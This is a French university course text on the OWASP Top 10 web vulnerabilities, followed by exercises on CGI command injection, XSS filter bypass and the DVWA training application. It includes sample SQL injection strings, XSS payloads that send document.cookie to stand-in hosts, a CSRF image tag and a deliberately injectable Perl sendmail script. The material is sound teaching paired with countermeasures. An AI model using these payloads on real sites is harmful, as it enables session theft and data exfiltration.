énierie de Protocoles et Logiciels Sécurisés

Vulnérabilité et
Sécurité des
Applications Web

Version 1

YACINE CHALLAL

20/09/2015
 Table des matières

I - Vulnérabilité et Sécurité des Applications Web 5

A. OWASP : Open Web Application Security Project...................................5

1. A1 Injection........................................................................................5
2. A2 Violation de Gestion d'Authentification et de Session............................8
3. A3 – Cross-Site Scripting (XSS)...........................................................10
4. A4 – Références directes non sécurisées à un objet................................11
5. A5 – Mauvaise configuration de Sécurité...............................................12
6. A6 – Exposition de données sensibles...................................................13
7. A7 – Manque de contrôle d'accès au niveau fonctionnel...........................14
8. A8 - Falsification de requête intersite (CSRF).........................................15
9. A9 - Utilisation de composants avec des vulnérabilités connues................17
10. A10 – Redirections et renvois non validés............................................18

II - Séries d'exercices IV : Vulnérabilités et Sécurité du Web

(OWASP) 21

A. Vulnérabilité des scripts CGI............................................................21

B. Submit.........................................................................................22

C. Livre d'Or......................................................................................23

D. Simulation d'attaques et contre-mesures (DVWA)...............................25

3
Vulnérabilité et
I-

I
Sécurité des
Applications Web
OWASP : Open Web Application Security Project 5

A. OWASP : Open Web Application Security Project

L'OWASP publie chaque année le Top10 des attaques les plus répandues dans le
Web. Dans ce cours on étudiera ce Top10 des vulnérabilités Web avec des
exemples d'intrusion et des contre-mesures.

1. A1 Injection
Définition
Une faille d'injection, telle l'injection SQL et OS, se produit quand une donnée non
fiable est envoyée à un interpréteur en tant qu'élément d'une commande ou d'une
requête.
Les données hostiles de l'attaquant peuvent duper l'interpréteur afin de l'amener à
exécuter des commandes fortuites ou accéder à des données non autorisées.

5
Vulnérabilité et Sécurité des Applications Web

Exemple
Une application utilise des données non fiables dans la construction de l'appel SQL
vulnérable suivant:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
l'attaquant modifie le paramètre ‘id' dans son navigateur et envoie: ' or '1'='1. Par
exemple:
http://example.com/app/accountView?id=' or '1'='1
Le sens de la requête est modifié pour retourner toutes les lignes de la table
accounts.
Les pires attaques peuvent altérer des données, voire invoquer des procédures
stockées.

Attention : Analyse de Risques

Risque d'Injection

a) Contre-mesures
Conseil : Option 1 : Utilisation de Requêtes Paramétrées
Les requêtes paramétrées forcent le développeur à définir d'abord tout le code SQL,
et ensuite seulement passer chaque paramètre à la requête.
Ce style de codage permet aux SGBD de distinguer le code des données. Une
requête paramétrée garantie qu'un attaquant ne puisse pas changer l'intention
d'une requête, même s'il injecte des commandes SQL.
Par exemple, s'il soumet ‘ or ‘1'=‘1' comme valeur du ID, la requête cherchera dans
la base la valeur litérale du ID: ‘or 1=1'
Voici un exemple d'un code Java vulnérable car utilisant une requête dynamique
sans validation de paramètres :

Code Java vulnérable à l'Injection SQL

Voici une version sécuriée utilisant uen requête paramétrée :

6
 Vulnérabilité et Sécurité des Applications Web

Code Java Sécurié contre l'Injection SQL

Conseil : Option 2 : Utilisation de procédures stockées

Elles ont le même effet que les requêtes paramétrées. Elles exigent du développeur
de définir le code SQL d'abord, puis passer les paramètres après.
La différence entre une procédure stockée et une requête paramétrée est que la
procédure stockée est définie et stockée dans la base de donnée.
Voici un exemple d'un code Java utilisant une procédure stockée :

Code Java utilisant une procédure stockée pour se prémunir contre l'injection

Conseil : Option 3 : Echappement des entrées Utilisateur

Si l'utilisation de requêtes paramétrées et procédure stockées est difficile à mettre
en œuvre (performance, réécriture de code, etc.), l'ultime rempart serait de faire
un « échappement » de tous les inputs utilisateur avant de les utiliser dans une
requête Chaque SGBD défnit son encodage et caractères d'échappement.
Voici un code Java vulnérable qui interroge un SGBD Oracle :

Code Java Vulnérable à l'Injection

Voici une version sécurisée utilisant ESAPI pour échapper les entrées utilisateurs
pour Oracle

Code Java sécurisé échappant les entrées utilisateurs, pour interroger Oracle

Conseil : Option 4 : Minimisation de privilèges

 Pour minimiser le dommage potentiel d'une injection SQL résussie, vous
devez minimiser les privilèges assignés à chaque compte BD dans votre
environnement.
 Ne pas assigner systématiquement les droits d'accès DBA et admin au
compte de votre application. Certes ceci facilite le fonctionnement de votre
application mais il est dangereux.

7
Vulnérabilité et Sécurité des Applications Web

Conseil : Option 5 : Validation des inputs par liste blanche

 Utilisation de liste noire est inéfficace (un hacker peut facilement utiliser des
mots clés filtrés par liste noire)
 Valider les inputs en exprimant excatement ce qui doit être accepté, par
exemple en utilisant des expressions régulières
Voici un exemple d'un code Java validant la saisie d'un code postale par une
expression régulière :

Validation des Inputs par Expression Régulière

8
 Vulnérabilité et Sécurité des Applications Web

2. A2 Violation de Gestion d'Authentification et de Session

Définition : Authentification
L'authentification est le processus de vérification qu'un individu ou entité est ce qu'il
prétend être.
L'authentification est généralement réalisée en soumettant un identifiant et une ou
plusieurs informations privées que seul l'individu devrait connaître (mdp, biométrie,
puce, ...)

Définition : Gestion de Session

C'est le processus par lequel un serveur maintien l'état d'une entité avec laquelle il
intéragit.
 Ceci est requis au serveur pour déterminer comment réagir aux requêtes
suivantes au cours d'une transaction.
 Les sessions sont maintenues au niveau du serveur grâce à un identifiant de
session qui peut être transmis dans les deux sens entre client et serveur lors
de la transmission des requêtes.
 Les identifiants de sessions doivent être uniques par utilisateur et très
difficile à prédire.

Authentification et Gestion de Session

9
Vulnérabilité et Sécurité des Applications Web

Attention
Les fonctions applicatives relatives à l'authentification et la gestion de session ne
sont souvent pas mises en œuvreoeuvre correctement
Ceci permet aux attaquants de compromettre les mots de passe, clés, jetons de
session, ou d'exploiter d'autres failles d'implémentation pour s'approprier les
identités d'autres utilisateurs.

Exemple : Scénario 1
Une application expose les identifiants de session dans l'URL:
http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?
dest=Hawaii
Un utilisateur authentifié sur le site envoie le lien à ses amis. En cliquant sur le lien,
ils utiliseront sa session et sa carte de crédit.

Exemple : Scénario 2
Les timeouts de l'application ne sont pas définies correctement. Un utilisateur
accède au site via un ordinateur public. Au lieu de faire "déconnexion", l'utilisateur
ferme le navigateur et s'en va. Un attaquant utilise le même navigateur une heure
plus tard, et ce navigateur est encore authentifié.

Exemple : Scénario 3
Un attaquant obtient un accès à la base des mots de passe du système. Les mots
de passe ne sont pas correctement chiffrés, exposant les mots de passe de tous les
utilisateurs à l'attaquant.

Conseil : Contre mesures

Satisfaire aux exigences de vérification d'authentification (V2) et de gestion de
session (V3) définies dans le Standard de Vérification de la Sécurité des
Applications (ASVS) :
Utiliser une API sûre pour gérer l'authentification, comme ESAPI Authenticator
Implémentation FileBasedAuthenticator

3. A3 – Cross-Site Scripting (XSS)

Définition
 Les failles XSS se produisent chaque fois qu'une application accepte des
données non fiables et les envoie à un navigateur web sans validation
appropriée.
 XSS permet à des attaquants d'exécuter du script dans le navigateur de la
victime afin de détourner des sessions utilisateur, défigurer des sites web,
ou rediriger l'utilisateur vers des sites malveillants.

Exemple : XSS Non Persistante (Réflexive)

 Alice visite souvent le site web de Bob. Ce site permet de s'authentifier avec
un login/mdp et stocker des données sensibles comme le num de carte
bancaire.
 Quand un utilisateur s'authentifie il maintient une Cookie d'autorisation, ce

10
 Vulnérabilité et Sécurité des Applications Web

qui permet au serveur de maintenir la session ouverte authentique avec

l'utilisateur.
 Mallory remarque sur le site de Bob qu'en faisant une recherche de
“bonbons” le site réaffiche ce qui a été cherché: “bonbons non trouvés”,
mais si la recherche contient des tags HTML, les tags sont affichés et les
scripts exécutés.
 Mallory remarque qu'en cherchant “bonbons” l'URL générée est
http://bobssite.org?q= bonbons,
 Il fabrique alors l'URL http://bobssite.org?q= bonbons<script
src=mallorysevilsite.com/authstealer.js> et l'envoie à Alice avec un
message Regardes ces bonbons délicieux
 Alice clique sur le lien, ce qui fait une recherche sur le site de Bob et affiche
“Bonbons non trouvés!”, mais entre temps exécute le script malicieux de
Mallory authstealer.js
Le script authstealer.js s'exécute sur le navigateur de Alice, il récupère la
Cookie d'autorisation de Alice et l'envoie à Mallory. Par exemple:
- <script>window.location.href='mailto:[email protected]\?
Subject=Authorization Cookie&body='+document.cookie;</script>
- <script>window.location.href=‘http://hacking.com/cgi-
bin/insertcookie.cgi?cookie=‘+document.cookie </script>
 Mallory introduit la Cookie de Alice dans son navigateur et visite le site de
Bob où il se fait donc passé pour Alice!
 Mallory va dans la section “Facturation” et récupère le numéro de carte
banquaure de Alice, puis il change son mot de passe ce qui empêcha Alice
d'entrer dans son compte.

Exemple : XSS Persistante (Stockée)

 Mallory crée un compte sur le site de Bob.
Il a remarqué que dans la section News, s'il poste un commentaire, ce
dernier est affiché tel qu'il est. S'il contient des tags HTML ceux là sont
appliqués et les scripts exécutés.
 Les commentaires sont persistants !
 Mallory a décidé alors d'insérer le commentaire suivant:
Quels bon Bonbons! <script src=mallorysevilsite.com/authstealer.js>
 Ce script récupère la Cookie d'Autorisation de l'utilisateur actuel et l'envoie à
Mallory.
- <script>window.location.href='mailto:[email protected]\?
Subject=Authorization Cookie&body='+document.cookie;</script>
- <script>window.location.href=‘http://hacking.com/cgi-
bin/insertcookie.cgi?cookie=‘+document.cookie</script>
 Quand Alice charge la page avec ce commentaire, le script de Mallory
s'exécute et vole la Cookie d'Autorization de Alice
 Mallory peut maintenant “hijacker” la session de Alice et usurper son identité

Attention : Analyse de Risques

11
Vulnérabilité et Sécurité des Applications Web

Analyse de Risques de XSS

Conseil : Contre mesures

 Echapper toute donnée non fiable selon le contexte HTML dans lequel elle
sera insérée (corps, attribut, javascript, CSS ou URL, etc.).
 La validation positive des entrées est recommandée mais ne constitue pas
une protection suffisante en raison des différentes manières dont les
applications traitent leur contenu. Une validation complète devra contrôler la
longueur, les caractères, le format et les règles métiers.
 Pour les données complexes, considérez la libraire OWASP's AntiSamy :
- API qui assure que les données fournies par l'utilisateur sont conformes
aux règles des applications
- Elle s'assure que l'utilisateur ne fournit pas du code malicieux dans son
profile, comments etc. et les rendre persistants sur le serveur

4. A4 – Références directes non sécurisées à un objet

Définition
Une référence directe à un objet se produit quand un développeur expose une
référence à un objet d'exécution interne, tel un fichier, un dossier, un
enregistrement de base de données ou une clé de base de données.
Sans un contrôle d'accès ou autre protection, les attaquants peuvent manipuler ces
références pour accéder à des données non autorisées.

Exemple
 Une application utilise une valeur non vérifiée dans une requête SQL
accédant à des informations d'un compte :
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
 L'attaquant modifie le paramètre « acct » dans son navigateur afin
d'envoyer le numéro de compte qu'il souhaite.
http://example.com/app/accountInfo?acct=notmyacct
 Si le paramètre n'est pas correctement vérifié, l'attaquant peut accéder à
n'importe quel compte, au lieu d'être limité au sien.

12
 Vulnérabilité et Sécurité des Applications Web

Conseil : Contre mesures

 Implémenter des références indirectes, par utilisateur ou par session.
- Cela empêche l'attaquant de cibler les ressources interdites.
- Par exemple, au lieu d'utiliser la clé de l'objet en base de données, une
liste déroulante de six objets autorisés pour l'utilisateur pourrait
s'appuyer sur les chiffres 1 à 6 pour indiquer la valeur choisie.
- L'application doit associer la référence indirecte par utilisateur à la valeur
réelle de la clé sur le serveur.
- La librairie ESAPI de l'OWASP propose des méthodes facilitant
l'implémentation des références indirectes.
Contrôler l'accès.
- Chaque sollicitation d'une référence directe par une entité non fiable doit
inclure un contrôle d'accès permettant de s'assurer que l'utilisateur en
question est bien autorisé à accéder à l'objet demandé.

5. A5 – Mauvaise configuration de Sécurité

Définition
Une bonne sécurité nécessite de disposer d'une configuration sécurisée définie et
déployée pour l'application, contextes, serveur d'application, serveur web, serveur
de base de données et la plate-forme.
Tous ces paramètres doivent être définis, mis en œuvre et maintenus, car
beaucoup ne sont pas livrés sécurisés par défaut.
Cela implique de tenir tous les logiciels à jour.

Exemple : Scénario #1:

 La console d'administration du serveur d'application est automatiquement
installée et non désactivée.
 Les comptes par défaut ne sont pas modifiés.
 L'attaquant découvre la console , utilise le compte par défaut et prend le
contrôle.

Exemple : Scénario #2:

 Le listage des répertoires est activé.
 L'attaquant le découvre et peut lister les répertoires et trouver les fichiers.
 L'attaquant trouve et télécharge vos classes java compilées qu'il décompile .
 Il identifie une faille de contrôle d'accès.

Exemple : Scénario #3:

 Le serveur d'application est livré avec des exemples d'applications non
supprimés de votre serveur de production.
 Ledit exemple d'application contient des vulnérabilités connues utilisables
par l'attaquant pour compromettre le serveur.

Conseil : Contre-mesures
 Un processus de durcissement reproductible qui permet un déploiement
rapide et facile d'un nouvel environnement correctement verrouillé.

13
Vulnérabilité et Sécurité des Applications Web

 Un processus d'information et de déploiement de nouvelles versions et de

correctifs dans un temps voulu dans chaque environnement.
 Une architecture solide qui apporte une séparation et sécurité entre les
composants.
 Utiliser les scans et les audits aident à la détection des futures mauvaises
configurations ou absence de correctifs.

6. A6 – Exposition de données sensibles

Définition
Beaucoup d'applications web ne protègent pas correctement les données sensibles
telles que les cartes de crédit, identifiants d'impôt et informations
d'authentification.
Les pirates peuvent voler ou modifier ces données faiblement protégées pour
effectuer un vol d'identité, de la fraude à la carte de crédit ou autres crimes.
Les données sensibles méritent une protection supplémentaire tel un chiffrement
statique ou en transit, ainsi que des précautions particulières lors de l'échange avec
le navigateur.

Exemple
Un site public ne requiert pas SSL lors de la navigation dans la section authentifiée.
Un acteur malveillant se connecte à un réseau sans-fil en libre accès et collecte le
trafic d'un utilisateur.
Il récupère le jeton d'une session authentifiée et accède ainsi aux données et
privilèges de l'utilisateur dans l'application.

Attention : Analyse de Risques

Risques liés à l'exposition de données sensibles

Conseil : Contre-mesures
 Identifier les menaces contre lesquelles l'on souhaite se protéger (ex.:
menace interne, utilisateurs externes) et s'assurer que les données sensibles
sont chiffrées correctement lors de leur stockage et de leur transport..
 Ne conserver que les données sensibles nécessaires. Les données que l'on
ne possède pas ne peuvent être volées!
 Choisir des algorithmes éprouvés et générer des clés robustes.
- S'assurer qu'une gestion des clés est en place.
- Privilégier des modules cryptographiques certifiés.
 Stocker les mots de passe au moyen d'un algorithme adapté à cet usage, tel
que bcrypt, PBKDF2, or scrypt.

14
 Vulnérabilité et Sécurité des Applications Web

 Désactiver la mise en cache et l'attribut "autocomplete" dans les formulaires

collectant des données sensibles.

7. A7 – Manque de contrôle d'accès au niveau fonctionnel

Définition
Pratiquement toutes les applications web vérifient les droits d'accès au niveau
fonctionnel avant de rendre cette fonctionnalité visible dans l'interface utilisateur.
Cependant, les applications doivent effectuer les mêmes vérifications de contrôle
d'accès sur le serveur lors de l'accès à chaque fonction.
Si les demandes ne sont pas vérifiées, les attaquants seront en mesure de forger
des demandes afin d'accéder à une fonctionnalité non autorisée.

Exemple : Scenario 1
L'attaquant se contente de visiter les URLs ciblées. Les URLs suivantes nécessitent
d'être authentifié et les droits d'administration sont requis pour
“admin_getappInfo”:
http://exemple.com/app/getappInfo
http://exemple.com/app/admin_getappInfo
Une vulnérabilité existe si un utilisateur non authentifié peut accéder à une de ces
pages ou si un utilisateur authentifié mais non privilégié peut accéder à
“admin_getappInfo”.
Dans ce dernier cas, cela peut permettre à l'attaquant d'identifier d'autres
fonctionnalités d'administration non protégées.

Exemple : Scenario 2
Une page utilise un paramètre “action” pour spécifier la fonctionnalité à invoquer, et
les différentes actions requièrent des privilèges différents.
Une vulnérabilité existe si ces privilèges ne sont pas vérifiés.

Attention : Analyse de Risques

Risques liés à l'absence de contrôle d'accès au niveau fonctionnel

15
Vulnérabilité et Sécurité des Applications Web

Conseil : Contre-mesures
Votre application devrait utiliser un module de gestion des autorisations consistant,
facilement analysable et appelé depuis les fonctionnalités métier

8. A8 - Falsification de requête intersite (CSRF)

Définition
Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime
authentifiée à envoyer une requête HTTP forgée, comprenant le cookie de session
de la victime ainsi que toute autre information automatiquement inclue, à une
application web vulnérable.
Ceci permet à l'attaquant de forcer le navigateur de la victime à générer des
requêtes dont l'application vulnérable pense qu'elles émanent légitimement de la
victime.

Exemple
 Une application permet à un utilisateur de soumettre une requête de
transfert d'argent, qui ne requiert aucun secret:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
 L'attaquant peut donc forger une requête pour transférer de l'argent du
compte de la victime sur son propre compte, et la cacher dans une balise
image, ou dans une balise iframe, stockée sur un site sous son contrôle :
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“ width="0"
height="0" />
 Si la victime visite l'un des sites de l'attaquant, alors qu'elle est toujours
authentifiée sur le site example.com, son navigateur inclura les données de
session utilisateur dans la requête forgée et cette dernière aboutira.

Attention : Analyse de Risques

Risques liés au CSRF

16
 Vulnérabilité et Sécurité des Applications Web

Conseil : Contre-mesures
 Inclure un jeton unique dans un champ caché. Ce jeton, envoyé dans le
corps de la requête HTTP, et non inséré dans l'URL, sera ainsi
potentiellement moins exposé.
 Le projet CSRF Guard de l'OWASP fournit des bibliothèques pour insérer de
tels jetons dans les applications Java EE, .NET, ou PHP. Et le projet ESAPI de
l'OWASP fournit des interfaces de programmation que les développeurs
peuvent utiliser pour empêcher les attaques CSRF.
 Demander à l'utilisateur de se ré-authentifier ou, vérifier que la demande
n'est pas automatisée (par ex., avec un test CAPTCHA) peut aussi vous
protéger contre ces attaques.

9. A9 - Utilisation de composants avec des vulnérabilités

connues
Définition
Les composants vulnérables, tels que bibliothèques, contextes et autres modules
logiciels fonctionnent presque toujours avec des privilèges maximum. Ainsi, si
exploités, ils peuvent causer des pertes de données sérieuses ou une prise de
contrôle du serveur. Les applications utilisant ces composants vulnérables peuvent
compromettre leurs défenses et permettre une série d'attaques et d'impacts
potentiels.

17
Vulnérabilité et Sécurité des Applications Web

Exemple
Apache CXF Authentification Bypass – En ne fournissant pas de jeton
d'authentification, les attaquants pouvaient faire appel à n'importe quels web
services avec l'ensemble des privilèges.

Attention : Analyse de Risques

Risques liés à l'utilisation de composants vulnérables

Conseil : Contre-mesures
 Identifier tous les composants et les versions utilisées, ainsi que les
dépendances
 Surveiller les bases de données publiques, les listes de diffusion des projets
et les listes de diffusion de sécurité afin de s'assurer de la sécurité de ces
composants afin de les maintenir à jour.
 Établir des politiques de sécurité pour l'utilisation des composants, telles que
la mise en place de pratiques de développement sécurisé, le passage avec
succès des recettes sécurité et l'utilisation de composants sous License.
 Si possible, essayer d'ajouter des filtres de sécurités autour des composants
afin de désactiver des fonctionnalités et/ou des parties comprenant des
faiblesses ou des fonctions vulnérables.

10. A10 – Redirections et renvois non validés

Définition
 Les applications web réorientent et redirigent fréquemment les utilisateurs
vers d'autres pages et sites internet, et utilisent des données non fiables
pour déterminer les pages de destination.
 Sans validation appropriée, les attaquants peuvent réorienter les victimes
vers des sites de phishing ou de malware, ou utiliser les renvois pour
accéder à des pages non autorisées.

18
 Vulnérabilité et Sécurité des Applications Web

Exemple : Scénario #1
 Une application possède une page “redirect.jsp” disposant d'un seul
paramètre nommé “url”.
 Un attaquant forge une URL permettant de rediriger les utilisateurs vers un
site malveillant (tentative de phishing ou installation de malwares) :
http://www.example.com/redirect.jsp?url=evil.com

Exemple : Scénario #2
 Une application effectue des renvois pour rediriger les utilisateurs sur
certaines pages internes.
 Pour simplifier le renvoi, certaines pages utilisent un paramètre contenant la
page où doit être renvoyer l'utilisateur.
 Dans ce cas, un attaquant crée une URL satisfaisant les contrôles d'accès de
l'application et le redirigeant ensuite vers une fonction d'administration à
laquelle il ne devrait pas avoir accès.
http://www.example.com/boring.jsp?fwd=admin.jsp

Attention : Analyse de Risques

Risques Liés à l'Absence de Validation des Renvois

Conseil : Contre-mesures
 Eviter l'utilisation des redirections et des renvois.
 En cas d'utilisation, ne pas utiliser de valeur de destination dans les
paramètres utilisateur. Ceci est généralement réalisable.
 Si une valeur de destination doit être spécifiée, vérifier que la valeur est
valide et autorisée pour l'utilisateur.
 Il est recommandé de ne pas utiliser d'URL dans les paramètres, mais plutôt
une valeur abstraite qui sera traduite côté serveur par une URL cible.

19
Séries d'exercices
II -

II
IV : Vulnérabilités
et Sécurité du Web
(OWASP)
Vulnérabilité des scripts CGI 21
Submit 22
Livre d'Or 23
Simulation d'attaques et contre-mesures (DVWA) 25

A. Vulnérabilité des scripts CGI

Cet exercice est repris de Avoine et al. 2010
Lorsque l'on navigue sur le Web, on est amené à remplir des formulaires en ligne.
Les données de ces formulaires sont alors envoyées au serveur et traitées par un
programme CGI (Common Gateway Interface). Les langages les plus utilisés
actuellement pour écrire des programmes CGI sont Perl, PHP, C, ASP, ou encore le
Shell)
Voici la copie partielle d'écran d'une page web :

Formulaire envoie adresse email

21
Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

Voici le code HTML de cette page web :

<HTML>
<BODY>
<BR><BR><BR><BR>
<P>
To get more information, Please send us your email
address :
<FORM ACTION="/cgi-bin/mail.pl" METHOD=POST>
<INPUT TYPE="text" NAME ="mail">
<INPUT TYPE=SUBMIT VALUE="Send">
</FORM>
</P>
</BODY>
</HTML>

Voici enfin le programme CGI écrit en perl qui traite les données :
# !/usr/bin/perl
use CGI ;
my $d=new CGI ;
my $address=$q->param("mail") ;
open MAIL, "| /usr/lib/sendmail $address" ;
print MAIL "To : $address \n" ;
print MAIL "From : ATM and Co\n\n" ;
print MAIL "We have received your request, thank you very
much.\n" ;
print MAIL "You will recieve our documentation by mail
shortly.\n" ;
close(MAIL) ;
print "Content-type : text/html/\n\n"
print "<HTML>" ;
print "<BODY bgcolor=\"#FAF0E6\">" ;
print "<P align=\"center\"><A href=\"/index.html\">Back to
the summary</A></P>" ;
print "</BODY>" ;
print "</HTML>" ;

Question 1
Quel est l'objectif du programme CGI tel qu'il a été prévu par le concepteur du site
web ?

Question 2
Les possibilités d'action d'un pirate sont restreintes puisqu'il ne peut que remplir le
champ du formulaire. Intuitivement que peut-il tenter ?

Question 3
Comment peut-il se faire envoyer par courrier électronique le fichier des mots de
passe (/etc/passwd) du serveur HTTP ?

B. Submit
Soit un formulaire permettant la saisie d'un identifiant et qui lance l'exécution du
script php suivant quand l'utilisateur clique sur le bouton « submit » :

22
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

Sublit

PHP Submit

Question 1
A quel type d'attaque est vulnérable ce code ?

Question 2
Donner un exemple d'attaque exploitant cette vulnérabilité

Question 3
Donner deux niveaux de protection qui permettent de se prémunir de ce type
d'attaque. Expliquer chacune de ces mesures.

C. Livre d'Or
Un livre d'or permet aux visiteurs d'un site web de poster des messages qui seront
stockés dans une base et réaffichés après chaque connexion sur le site.

23
Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

Livre d'or
Quand un utilisateur clique sur le bouton « Sign Guestbook » le code suivant est
exécuté.

Script Livre d'Or

Question 1
Expliquer le rôle de l'appel « mysql_real_escape_string($name) » et citer le type
d'attaque contrarié grâce à cet appel.

Question 2
A quel type d'attaque ce code est toujours vulnérable ? Expliquer.

Question 3
Donner un scénario d'attaque exploitant cette vulnérabilité.
Afin de palier cette vulnérabilité, le développeur du site corrige le code avec cette
nouvelle version :

24
 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

New Livre D'or Script

Question 4
Expliquer le rôle de la fonction « str_replace(‘<script>', ‘', $name) »

Question 5
Donner un exemple d'attaque sur ce code qui contourne ce contrôle.

Question 6
Donner une version du code qui permet d'éviter ce contournement (vous pouvez ne
pas réécrire tout le code)

D. Simulation d'attaques et contre-mesures (DVWA)

Damned Vulnerable Web Application (DVWA)

DVWA qui s'exécute à 127.0.0.1 est une application conçue vulnérable pour faire
dessus des exercices pédagogiques.
Dans le menu, on y retrouve différents types d'attaques : XSS, Injection SQL, File
upload, Command Injection etc.
Pour chaque vulnérabilité, vous avez des liens pour vous documentez sur la faille et
ses contre-mesures.
Vous avez aussi accès (en bas à droite) au code source vulnérable et ses versions
améliorées (bouton compare).
Le "help" (en bas à droite) vous permet également de comprendre la faille et vous
donne des indices pour mener l'attaque.

Question 1
Lancez DVWA (http://127.0.0.1/dvwa/) et réalisez des exploits (attaques).
Pour mener l'attaque il est nécessaire d'analyser le code source des scripts
vulnérable afin de comprendre la source de la faille.
Expliquez pour chaque attaque réussie la source de vulnérabilité de l'application

Question 2

25
Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP)

Une fois l'exploit réalisé, comparer le code vulnérable aux versions améliorées pour
comprendre les contre mesures.
Expliquez ce qui a été amélioré et comment ça permet de se prémunir des
attaques.

Question 3
Vous pouvez basculer le niveau de sécurité de DVWA à "medium" et "high" et
essayer de mener l'attaque de nouveau et voir si ça marche toujours.

26